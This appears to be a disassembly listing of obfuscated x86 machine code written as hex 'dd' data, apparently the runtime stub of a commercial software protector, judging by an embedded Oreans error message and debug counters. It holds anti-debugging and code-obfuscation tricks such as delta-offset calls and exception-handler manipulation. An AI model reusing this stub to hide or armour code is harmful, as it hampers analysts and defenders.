		dd 858D0607h, 609EFEBh,	8950D68Bh, 7193595h, 1BB5FF06h
		dd 0FC0609F0h, 0DBD95FFh, 0BE90607h, 29000000h,	0FA1ABA90h
		dd 0FF1CE034h, 8589F70Ch, 609F027h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 7BC35040h, 3A1CED59h, 8B68B660h
		dd 71161BDh, 858D6106h,	609EFDEh, 0C919D89h, 6A500607h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0FF8AC352h, 9F01BB5h, 55958B06h, 0FF06072Ah
		dd 70DBD95h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 7A625EFCh, 145F26FDh, 139DBD89h
		dd 85890607h, 609F02Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0AAC35141h, 8DD3BF0Fh, 9EFF985h, 35BD8B06h
		dd 50060702h, 1ED99D89h, 0B5FF0607h, 609F01Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A9C35747h, 0A948819Ch
		dd 97B15183h, 10E95Ah, 237E0000h, 8A0BAC95h, 0A0DB22D6h
		dd 0DB4BD4D5h, 95FFF5ABh, 6070DBDh, 8589FB8Bh, 6072C25h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6CC35747h
		dd 0B589DA87h, 60713D9h, 0EFAD858Dh, 6A0609h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0A9D0DDC3h
		dd 8D01507Bh, 6071F75h,	0F01BB5FFh, 958B0609h, 6070585h
		dd 105DBD03h, 95FF0607h, 6070DBDh, 5E820CBFh, 0BB59BA3Eh
		dd 85891074h, 609F01Fh,	26519D89h, 858D0607h, 609EFBCh
		dd 50CAB70Fh, 68A0Fh, 0BD8B0000h, 607136Dh, 0F01BB5FFh
		dd 0F5800609h, 0BD95FF77h, 6A06070Dh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B532C356h
		dd 11BD232h, 7214185h, 0CA8006h, 0F0238589h, 4680609h
		dd 8B000001h, 0B3858DF9h, 0E80609F0h, 11h, 21C61574h, 25DA2134h
		dd 0C943D7A2h, 0C12B2D68h, 29505F65h, 72845BDh,	0B7858D06h
		dd 6A0609F1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0D6A1C356h, 8DAB538Fh,	53D9A641h
		dd 4A5BD8Bh, 505F0607h,	0A32AB966h, 194995FFh, 958B0607h
		dd 6070919h, 850FC085h,	6, 2B58D33h, 0BD800607h, 609FB8Ch
		dd 10850F00h, 81000000h, 0A37EFDC9h, 14EEE96Fh,	80BA0000h
		dd 8365A310h, 70B79BDh,	850F0006h, 30h,	0E258D8Bh, 0BD830607h
		dd 60A0036h, 43840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9C52C351h
		dd 0F050858Dh, 8D0B0609h, 6070B0Dh, 149BE9h, 958BF800h
		dd 60721CDh, 15E9h, 3810F00h, 66000000h, 858DFE8Bh, 609F03Bh
		dd 1856CA81h, 665046A6h, 0E91AF181h, 0F0B3858Dh, 24B10609h
		dd 0E98D0150h, 8306070Ah, 70B79BDh, 840F0006h, 55h, 11A5958Bh
		dd 7E80607h, 0F6000000h, 0BC3BA195h, 0BD8BFECFh, 6071315h
		dd 0D9858D59h, 6A0609F1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E9E1C355h,	0Ah, 9744C967h
		dd 70EE92FCh, 22E97BBDh, 89000000h, 712358Dh, 0C2858D06h
		dd 0E80609F1h, 5, 9E6DCA2Bh, 0F2816698h, 815FEF86h, 0B4D05ADAh
		dd 8D295048h, 6071265h,	0EADBD01h, 858D0607h, 609F211h
		dd 0C8D0Fh, 810F0000h, 6, 0F9B501h, 0FC500607h,	0A195FFh
		dd 10E80607h, 0B8000000h, 93A0E9DCh, 559CBD83h,	0B97EE1A7h
		dd 0F154FB7h, 68Dh, 8F0F00h, 5A000000h,	6610C483h, 8B549BB9h
		dd 0D1958BC0h, 83060720h, 71ACDBDh, 9750006h, 1135BD83h
		dd 74000607h, 8B535019h, 7D3B8C0h, 85890000h, 6071F7Dh
		dd 0ADC09D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h
		dd 7D3B853h, 85890000h,	6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h
		dd 0B966585Bh, 6A46D9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 7ADA74C3h, 0DD9FB605h, 0CBB70F8Ch
		dd 0B70FC08Bh, 3BBD81D0h, 6F0609F0h, 0F616572h,	0AD84h
		dd 8D5A5700h, 9F0B385h,	858D5006h, 609F1F0h, 11858D50h
		dd 500609F2h, 0A195FFh,	0C4830607h, 0CD85C60Ch,	44060709h
		dd 0A3184F68h, 9DB5FF96h, 8D060705h, 7396385h, 8BD0FF06h
		dd 11858DD8h, 500609F2h, 858DD3FFh, 609F03Bh, 0B3858D50h
		dd 500609F0h, 0B79BD83h, 74000607h, 0D9858D08h,	0EB0609F1h
		dd 0C2858D06h, 500609F1h, 0F211858Dh, 0FF500609h, 700A195h
		dd 10C48306h, 0FE8h, 0B7E72C00h, 0E3B8A8BDh, 0D30243FAh
		dd 50BB6E1Dh, 12E9h, 85AF6400h,	1CBB6A9Ah, 13F0DC8h, 0D128A7Fh
		dd 59547B11h, 0C03DA81h, 95FF3D5Ch, 6070651h, 11E9h, 6FF67C00h
		dd 48294E6Fh, 0B11364C1h, 63666047h, 0FF25405Ah, 60000000h
		dd 68D0Fh, 9D290000h, 6070705h,	5F88361h, 64830Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 87162FC3h, 0CB253DD4h, 5FFBEA81h, 85C76738h,	60713A1h
		dd 1, 0CD958B53h, 59060710h, 0F06F858Dh, 6A0609h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E9229EC3h, 0A8h, 0BD83CB8Bh, 6070B79h, 6E840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 6A02C356h, 5A3F0073h, 8D20D5A4h, 9F09A85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0ED7C7A0h, 64C18166h, 0C9B70F5Fh, 43E9h
		dd 13E900h, 49FB0000h, 168276C7h, 832FA93Ch, 648F1139h
		dd 2B4047D1h, 7C858D4Ah, 6A0609F0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7ECC357h
		dd 5CA77A6Ch, 0C6D9801Ch, 0F0AF8589h, 6A0609h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 1071CDC3h, 0DA8112E3h, 40099179h, 0B79BD83h,	0F000607h
		dd 2285h, 0EE900h, 0ACB20000h
		dd 1401525Eh, 95772712h, 0A82B8E28h, 36BD83h, 0F00060Ah
		dd 2084h, 0E9C88B00h, 10B0h, 0EE8h, 0C2E5C00h, 0CBC00574h
		dd 151E3E94h, 0BA04E968h, 7C8E4DADh, 4D6E95Fh, 9D090000h
		dd 6073035h, 5E9C08Bh, 0B1000000h, 2ECB2266h, 1ACDBD83h
		dd 75000607h, 35BD8309h, 60711h, 53501974h, 0D4B8C08Bh
		dd 89000007h, 71F7D85h,	0C09D8D06h, 0FF0609ADh,	83585BD3h
		dd 71135BDh, 17740006h,	0D4B85350h, 89000007h, 71F7D85h
		dd 0AF9D8D06h, 0FF0609AAh, 6A585BD3h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A9A7C356h
		dd 80605250h, 0B70F79F7h, 8A0F61F9h, 6,	45958Bh, 81660607h
		dd 66E429E7h, 0DB59CF81h, 0E957C08Bh, 7, 0B60C2ABh, 5FB54B3Eh
		dd 68C88B66h, 0F003Fh, 67DF8166h, 0F006AA7h, 180h, 0E88AF500h
		dd 0BD89006Ah, 6071EF9h, 226D95FFh, 0B5310607h,	6072A71h
		dd 0C085D18Bh, 2850Fh, 0D78B0000h, 0F0338589h, 0BF660609h
		dd 6A5A60h, 6AC88Bh, 0F213E781h, 8D89172Ah, 6072079h, 8166006Ah
		dd 894328C2h, 705BDB5h,	6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 9973C353h
		dd 0A659E2CEh, 0C519D09h, 6A0607h, 29E2B966h, 0F211858Dh
		dd 890F0609h, 0Ch, 6870Fh, 830F0000h, 0
		dd 6AFE8B50h, 0D5958B01h, 6A060729h, 6810F01h, 8B000000h
		dd 71809BDh, 66016A06h,	134ED781h, 0F01FF68h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0D393F0E2h, 0CF3EA7BCh, 0EE9E340h, 57000000h, 2D4DE792h
		dd 9B1523FEh, 0E2D1D925h, 79BD83F2h, 6070Bh, 1F840Fh, 0B5890000h
		dd 607293Dh, 858DF88Bh,	609F090h, 1061B589h, 2FE90607h
		dd 89000000h, 7142DBDh,	66858D06h, 6A0609F0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0AB61C356h, 3F7BBA2Bh, 0F5026BFh, 185h, 8D89FC00h, 60712D9h
		dd 0FEB65350h, 33B5FF5Fh, 810609F0h, 0EAA4CCC2h, 1F95FF5Eh
		dd 6A0609F0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0EC7AC353h, 0DEC0D249h, 0C0DBD29h
		dd 0C0850607h, 15850Fh,	0B70F0000h, 0ADBD8BD3h,	0E9060702h
		dd 89h,	7A75FCB9h, 89FE8B0Dh, 9F03785h,	14E906h, 0AF9C0000h
		dd 3844C0Dh, 71EF014Fh,	74942902h, 8AB4330Dh, 0B5FF5BB9h
		dd 609F037h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	20C35141h, 89CA5673h, 70079B5h,	28C0F06h, 8B000000h
		dd 2595FFCFh, 8106072Ch, 9BD1C7DAh, 0FC08558h, 1C85h, 10880F00h
		dd 0E8000000h, 8, 0D1339884h, 0C974A0B4h, 0B5FCB8Bh, 708F9BDh
		dd 66106A06h, 83BDC3BFh, 70B79BDh, 840F0006h, 35h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D1C35343h, 80B0EA28h
		dd 0F5F580A5h, 0F090858Dh, 14E90609h, 9000000h,	71E019Dh
		dd 66858D06h, 500609F0h, 1DF9BD8Bh, 50590607h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0DAC35545h, 873DAE4Eh
		dd 2E99B966h, 33B5FFF5h, 600609F0h, 23819589h, 0EE80607h
		dd 8D000000h, 0ADF84167h, 6ED2376Dh, 71285E82h,	0F1E981E5h
		dd 5A2B720Eh, 2B95FF61h, 600609F0h, 0D29B501h, 800F0607h
		dd 6, 890Fh, 0E9610000h, 11h, 0CC0F2077h, 0C0D843D8h, 815B0824h
		dd 0B54AF8Dh, 0FC08572h, 2485h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0A3B76D2Dh
		dd 8A679452h, 378589F5h, 0F0609F0h, 589h, 0D417B900h, 6A0F2Eh
		dd 8F0F57h, 5A000000h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0C6187C3h, 410B5931h
		dd 0F59531B4h, 8B06072Bh, 71A51BDh, 37B5FF06h, 890609F0h
		dd 70CB585h, 2395FF06h,	6A0609F0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D5D8C357h
		dd 3EC741BCh, 0F00E76Fh, 0C085D1B7h, 6850Fh, 8D890000h
		dd 6071F85h, 0F037B5FFh, 8D890609h, 6070C79h, 0CE9h, 0B1D28000h
		dd 0A8DA9290h, 0A9BE38FFh, 2595FF69h, 8B06072Ch, 71B3995h
		dd 0FC08506h, 2385h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 958B1173h, 6071DB1h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 6E136BC3h, 45AD0091h, 2398D31h, 80680607h, 31000000h
		dd 729BDB5h, 0E8036A06h, 8, 0DF9CBF54h,	0EB4DAD58h, 590AD580h
		dd 810F006Ah, 6, 820Fh,	81660000h, 6A52B6D1h, 0C9BF0F00h
		dd 68h,	0D7BF0FC0h, 0F0AFB5FFh,	0B5890609h, 60722CDh, 112D95FFh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 175D23C3h, 0A115614Eh, 0FFFF883h,	49685h
		dd 0E1E98100h, 8948390Eh, 72871B5h, 1D85FF06h, 570609FBh
		dd 6840Fh, 0BD890000h, 6070E21h, 1DBD8359h, 20609FBh, 3D7840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 99B936C3h, 8D74541Ah, 5AF59F85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0B9C6DD09h, 8BD0FF2Fh, 708C5BDh, 0F2858D06h,	0FF005AEFh
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 8BC2ACD6h, 41BD23A1h, 8B060711h,	23E281C0h
		dd 834CFB4Ah, 71ACDBDh,	9750006h, 1135BD83h, 74000607h
		dd 8B535019h, 7D8B8C0h,	85890000h, 6071F7Dh, 0ADC09D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h,	7D8B853h
		dd 85890000h, 6071F7Dh,	0AAAF9D8Dh, 0D3FF0609h,	0BF66585Bh
		dd 5E9958Fh, 0A3000000h, 0A17E19B5h, 6850Fh, 8D310000h
		dd 6072D79h, 0BF0FC08Bh, 3F68CFh, 0C7BA000Fh, 6A10D099h
		dd 0AE800h, 0AA370000h,	0CD73ADCEh, 5297592h, 1E818D23h
		dd 0B5F0607h, 701FD8Dh,	0FF006A06h, 7226D95h, 0C085F806h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 1CC35141h
		dd 35BD8B22h, 0E9060730h, 5, 0BA69B8FEh, 33858989h, 230609F0h
		dd 70D8995h, 1FF6806h, 9523000Fh, 60723A9h, 22119533h
		dd 0BD830607h, 6070B79h, 38840F00h, 66000000h, 0CA81D08Bh
		dd 66F6D635h, 0F090858Dh, 6A0609h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 19FFCFC3h, 0E9F96500h
		dd 2Dh,	8DC88B66h, 9F06685h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8D4E4BB9h
		dd 0BCC31DA6h, 816650B7h, 0FF5BF9F1h, 9F033B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9589695Fh, 60709B5h,	0F02B95FFh, 0C6800609h,	378589BAh
		dd 0F0609F0h, 48Bh, 0C0BA6600h,	5985C780h, 6072Eh, 0F000000h
		dd 0BD83FABFh, 609F037h, 90840F00h, 0E9000001h,	0Ah, 49183CD7h
		dd 1CAEBF96h, 858D844Dh, 609F315h, 1DA18589h, 5E90607h
		dd 0E2000000h, 65FB2A1Bh, 16AF850h, 4CD18166h, 37B5FFD3h
		dd 8B0609F0h, 7049DBDh,	71850106h, 0FF060732h, 9F02F95h
		dd 0B5FFF506h, 609F037h, 1BD9523h, 95FF0607h, 6072C25h
		dd 47EF8166h, 0D68B6671h, 0F01FF68h, 0B5895100h, 607292Dh
		dd 79BD835Fh, 6070Bh, 3A840Fh, 0F88B0000h, 0F090858Dh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0EE92FCC3h, 8B7BBD70h, 7100995h, 0D1853106h
		dd 0E9060710h, 32h, 0F066858Dh,	6A0609h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 9543C3C3h
		dd 8C0F2C4Ch, 6, 89BD8Bh, 66500607h, 614DF281h,	0F033B5FFh
		dd 8B600609h, 71E859Dh,	0BD8B5706h, 607076Dh, 95FF615Ah
		dd 609F02Bh, 0BAF18166h, 378589D2h, 660609F0h, 850FCA8Bh
		dd 2, 0B5FFCB8Bh, 609F037h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 16C35747h, 0DA41B950h, 1B2CBE45h, 0FF65D180h
		dd 9F02795h, 8D896006h,	6071F49h, 0AE58589h, 0FF610607h
		dd 9F037B5h, 57006A06h,	3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 7ECBD242h, 564EB263h, 2C2595FFh, 0E9F90607h,	0FFFFF68Ch
		dd 687EBABAh, 80B5FF4Ah, 560609FBh, 3D1BD8Bh, 0FF590607h
		dd 7185995h, 6E906h, 752B0000h,	0A8B7ECC8h, 2205858Bh
		dd 840F0607h, 6, 22C19523h, 0E90607h, 8D000005h, 9F335B5h
		dd 0B9B58906h, 8D060708h, 99FA885h, 6860F06h, 8B000000h
		dd 713CDBDh, 53D0FF06h,	1E298501h, 6A590607h, 9F93BF00h
		dd 95FF39A4h, 6072BDDh,	8BF8BF0Fh, 858DF9F3h, 6099FA8h
		dd 0D0FF55B5h, 2F03F5BFh, 66006A32h, 0FF08D3B9h, 72BDD95h
		dd 66C18106h, 8B33B63Fh, 0BD83F9C0h, 6071ACDh, 83097500h
		dd 71135BDh, 19740006h,	0C08B5350h, 7D9B8h, 7D858900h
		dd 8D06071Fh, 9ADC09Dh,	5BD3FF06h, 35BD8358h, 60711h, 53501774h
		dd 7D9B8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 258D8B58h
		dd 8906070Ah, 71F69B5h,	0F1816606h, 0C08BAE5Eh,	22F98589h
		dd 66500607h, 8B1CBABAh, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 6E939D1Fh, 10685611h
		dd 6800Fh, 8D290000h, 607207Dh,	9E8h, 3BF84F00h, 0D7593545h
		dd 6E82F20h, 3A000000h,	996FD073h, 7D950382h, 5A060720h
		dd 9D8D535Ah, 6070F2Dh,	389038Bh, 8950438Bh, 9D8D5043h
		dd 609FB19h, 389038Bh, 1D18A5Bh, 705159Dh, 258D8B06h, 0F06072Ah
		dd 1485h, 8E800h, 21960000h, 0AAA0CAA4h, 9D894E81h, 6070085h
		dd 6A006A5Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E04AC351h, 19A5D1D2h,	29C6808Eh
		dd 858DC6B1h, 609FB19h,	0EE9h, 6E6DDA00h, 56956D8Bh, 4B1BC914h
		dd 50893D10h, 2D18D8Bh,	606A0607h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0DC35747h, 0CE7E1C51h, 0BD89B639h
		dd 6070CD9h, 0F2D858Dh,	5A510607h, 2A19BD8Bh, 89500607h
		dd 70911BDh, 1006A06h, 72359B5h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8564C357h
		dd 1ABE8BA1h, 2890Fh, 0CF8B0000h, 685FB5h, 8B000018h, 70CB1BDh
		dd 0AABA6606h, 0F98B5326h, 1E6595FFh, 33BF0607h, 0FF5CA309h
		dd 702C195h, 0A58D8906h, 0FF06071Eh, 9FB80B5h, 0ED8D8B06h
		dd 0FF060713h, 7185995h, 4DB50906h, 8D06072Eh, 70F2D85h
		dd 0F535606h, 85h, 8B5A5F00h, 8D331840h, 607055Dh, 0FA985C7h
		dd 607h, 0C9810000h, 7BA335DDh,	0B79BD83h, 0F000607h, 3E84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 10A70EEAh, 1CAABD99h, 8C3DFCA9h,	0F000000h
		dd 17883h, 31952900h, 0E9060711h, 14h, 3D10EA80h, 96h
		dd 15F830Fh, 85890000h,	607111Dh, 0F59F858Dh, 9533005Ah
		dd 607108Dh, 78DBD8Bh, 0D0FF0607h, 2B81B529h, 858D0607h
		dd 5AEFF2h, 6810Fh, 85890000h, 6071425h, 9589D0FFh, 607300Dh
		dd 8BCABF0Fh, 0DBBA66C0h, 0CDBD8321h, 6071Ah, 0BD830975h
		dd 6071135h, 50197400h,	0B8C08B53h, 0BC6h, 1F7D8589h, 9D8D0607h
		dd 609ADC0h, 585BD3FFh,	1135BD83h, 74000607h, 0B8535017h
		dd 0BC6h, 1F7D8589h, 9D8D0607h,	609AAAFh, 585BD3FFh, 0C08B5A53h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 72C35242h
		dd 0ECF838BFh, 0CDBD2376h, 83060705h, 850FFFF8h, 79h, 7880Fh
		dd 0BF520000h, 747740DAh, 0E985C75Fh, 6072Fh, 80000000h
		dd 2FE997CDh, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 49C6C356h, 0FCB172A4h
		dd 12E9h, 18564100h, 22118253h,	0A73ECFFCh, 0D8C74B40h
		dd 0E93059B4h, 36h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0ACC35646h, 1F88331h,	10850Fh, 5F500000h
		dd 0DAE9h, 65BD8B00h, 66060718h, 1DE9FE8Bh, 8BFFFFF2h
		dd 705D58Dh, 8BC08B06h,	7034595h, 0CDBD8306h, 6071Ah, 0BD830975h
		dd 6071135h, 50197400h,	0B8C08B53h, 7DDh, 1F7D8589h, 9D8D0607h
		dd 609ADC0h, 585BD3FFh,	1135BD83h, 74000607h, 0B8535017h
		dd 7DDh, 1F7D8589h, 9D8D0607h, 609AAAFh, 585BD3FFh, 6800Fh
		dd 85310000h, 6070841h,	8D8BB2B2h, 60718B9h, 8166C08Bh
		dd 0E98E3AD9h, 230h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 34C35545h, 0E80F8DE1h, 0Bh, 5CBDC32Ch
		dd 0B159332h, 0F33C0DDh, 68Dh, 459D8900h, 59060711h, 858D24B5h
		dd 609F91Dh, 89D6B70Fh,	9FB1585h, 42E9F806h, 8D000000h
		dd 9F72585h, 0CF816606h, 6A40065Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E770C355h
		dd 0C5F700FBh, 952B567Bh, 6070091h, 1585895Fh, 810609FBh
		dd 0E43514D7h, 8D346A6Fh, 7143185h, 0B5FF5006h,	609FB15h
		dd 95FF006Ah, 6070581h,	0F07F883h, 16284h, 0DB8C6600h
		dd 0F04C3F6h, 0FC85h, 0CD85C600h, 56060709h, 0A8B85268h
		dd 9DB5FF9Ch, 8D060705h, 7396385h, 6AD0FF06h, 10006804h
		dd 646A0000h, 0D0FF006Ah, 0FB888589h, 85C60609h, 60709CDh
		dd 0AC9B6847h, 0B5FFEC18h, 607059Dh, 3963858Dh,	0D0FF0607h
		dd 0F08BD0FFh, 9CD85C6h, 684F0607h, 0C62F2661h,	29E5B5FFh
		dd 858D0607h, 6073963h,	9D8DD0FFh, 609FB84h, 56286A53h
		dd 0C085D0FFh, 85C60075h, 60709CDh, 64986841h, 0B5FFDB87h
		dd 60729E5h, 3963858Dh,	0D0FF0607h, 0FBA18589h,	85C60609h
		dd 60709CDh, 0E7A4684Ch, 0B5FF80A4h, 60729E5h, 3963858Dh
		dd 0D0FF0607h, 0FB889D8Bh, 5B8D0609h, 9D8D5304h, 609FB8Dh
		dd 0FF006A53h, 889D8BD0h, 0C70609FBh, 103h, 0C43C700h
		dd 2, 0BBD85C7h, 607h, 6A0000h,	6A006Ah, 0FB889D8Bh, 6A530609h
		dd 84B5FF00h, 0FF0609FBh, 9FBA195h, 0CD85C606h,	45060709h
		dd 0A5F79768h, 85B5FF92h, 8D060710h, 7396385h, 6AD0FF06h
		dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 889D8B32h, 0C70609FBh
		dd 0C43h, 6A0000h, 9D8B006Ah, 609FB88h,	0FF006A53h, 9FB84B5h
		dd 0A195FF06h, 0FF0609FBh, 9FB84B5h, 0C195FF06h, 6A060702h
		dd 0DD95FF00h, 6006072Bh, 0C859D33h, 0B58B0607h, 6070A81h
		dd 0FA8B6661h, 2F5D858Dh, 10E8060Ah, 0F0000000h, 1FAEC082h
		dd 0F660B734h, 0AB64196Bh, 0E931A8ECh, 12h, 8AF9A08Fh
		dd 0E0AEBB4Ch, 53678D6h, 0CD1E267Ah, 0F5F130Fh,	386h, 0FB8B6600h
		dd 5E950h, 6F980000h, 89721791h, 7215D95h, 35FF6406h, 0
		dd 89FABF0Fh, 70A3D9Dh,	25896406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h
		dd 35BD8305h, 60733h, 3E840Fh, 0BD8B0000h, 6071861h, 19BDBD83h
		dd 0F010607h, 2B85h, 7E800h, 8DA40000h,	0FBEDBE14h, 85953136h
		dd 5F060704h, 0FFA1BD80h, 0F000609h, 0B85h, 12DE900h, 0BD330000h
		dd 60714DDh, 8501DB33h,	6070759h, 0BD89C033h, 6072F69h
		dd 3F0F40FCh, 8F640B07h, 5, 4C48300h, 0BF0FD58Ah, 4D8D2BC8h
		dd 8306071Bh, 840FFFFBh, 12h, 0E3E9F8h,	860F0000h, 6, 3DBD8Bh
		dd 4CE90607h, 0F8000000h, 0C244C8Bh, 0A481C7h, 0FFFF0000h
		dd 8183FFFFh, 0B8h, 0C3C03304h,	0C245C8Bh, 0E855h, 815D0000h
		dd 0A2F7FEDh, 0B8838B06h, 8D000000h, 0A303885h,	0B8838906h
		dd 5D000000h, 31C3C033h, 702E585h, 0D5B58906h, 8D060718h
		dd 0A2F7585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0EE205067h, 6A5056h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 15EFA5C3h
		dd 6454988Fh, 35FFh, 8BF0000h, 6473036Eh, 2589h, 0B70F0000h
		dd 0AB9D3h, 4B80000h, 54855D7h,	0DF78164h, 85D465BBh, 0B640BA86h
		dd 0EA810034h, 345FE8h,	68FB81EDh, 75564D58h, 7985C70Ah
		dd 1060728h, 64000000h,	58Fh, 0C4830000h, 9BD8B04h, 0B9060703h
		dd 12A34DA6h, 9533C08Bh, 6070FA1h, 1ACDBD83h, 75000607h
		dd 35BD8309h, 60711h, 53501974h, 3DB8C08Bh, 89000004h
		dd 72F8185h, 279D8D06h,	0FF0609AEh, 83585BD3h, 71135BDh
		dd 17740006h, 3DB85350h, 89000004h, 72F8185h, 0C89D8D06h
		dd 0FF0609AAh, 60585BD3h, 0E106B866h, 0E2B96661h, 52006A45h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 2D9B9D97h, 167FBD0Ch, 0E9C08BF8h, 13Ah, 4, 35382E31h
		dd 35h,	6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 60732B5h, 2D840F00h,	8D000001h, 9A8DF85h, 858D5006h
		dd 609A849h, 16850h, 95FF8000h,	609A8EFh, 30D5858Dh, 8D50060Ah
		dd 0A30DF85h, 6A5006h, 858D006Ah, 609A85Dh, 0DFB5FF50h
		dd 0FF0609A8h, 7222995h, 0D5858D06h, 50060A30h,	30E3858Dh
		dd 6A50060Ah, 8D006A00h, 9A86F85h, 0B5FF5006h, 609A8DFh
		dd 222995FFh, 858D0607h, 60A30D5h, 0EF858D50h, 50060A30h
		dd 6A006Ah, 0A8BC858Dh,	0FF500609h, 9A8DFB5h, 2995FF06h
		dd 8D060722h, 0A30D585h, 858D5006h, 60A30F7h, 6A006A50h
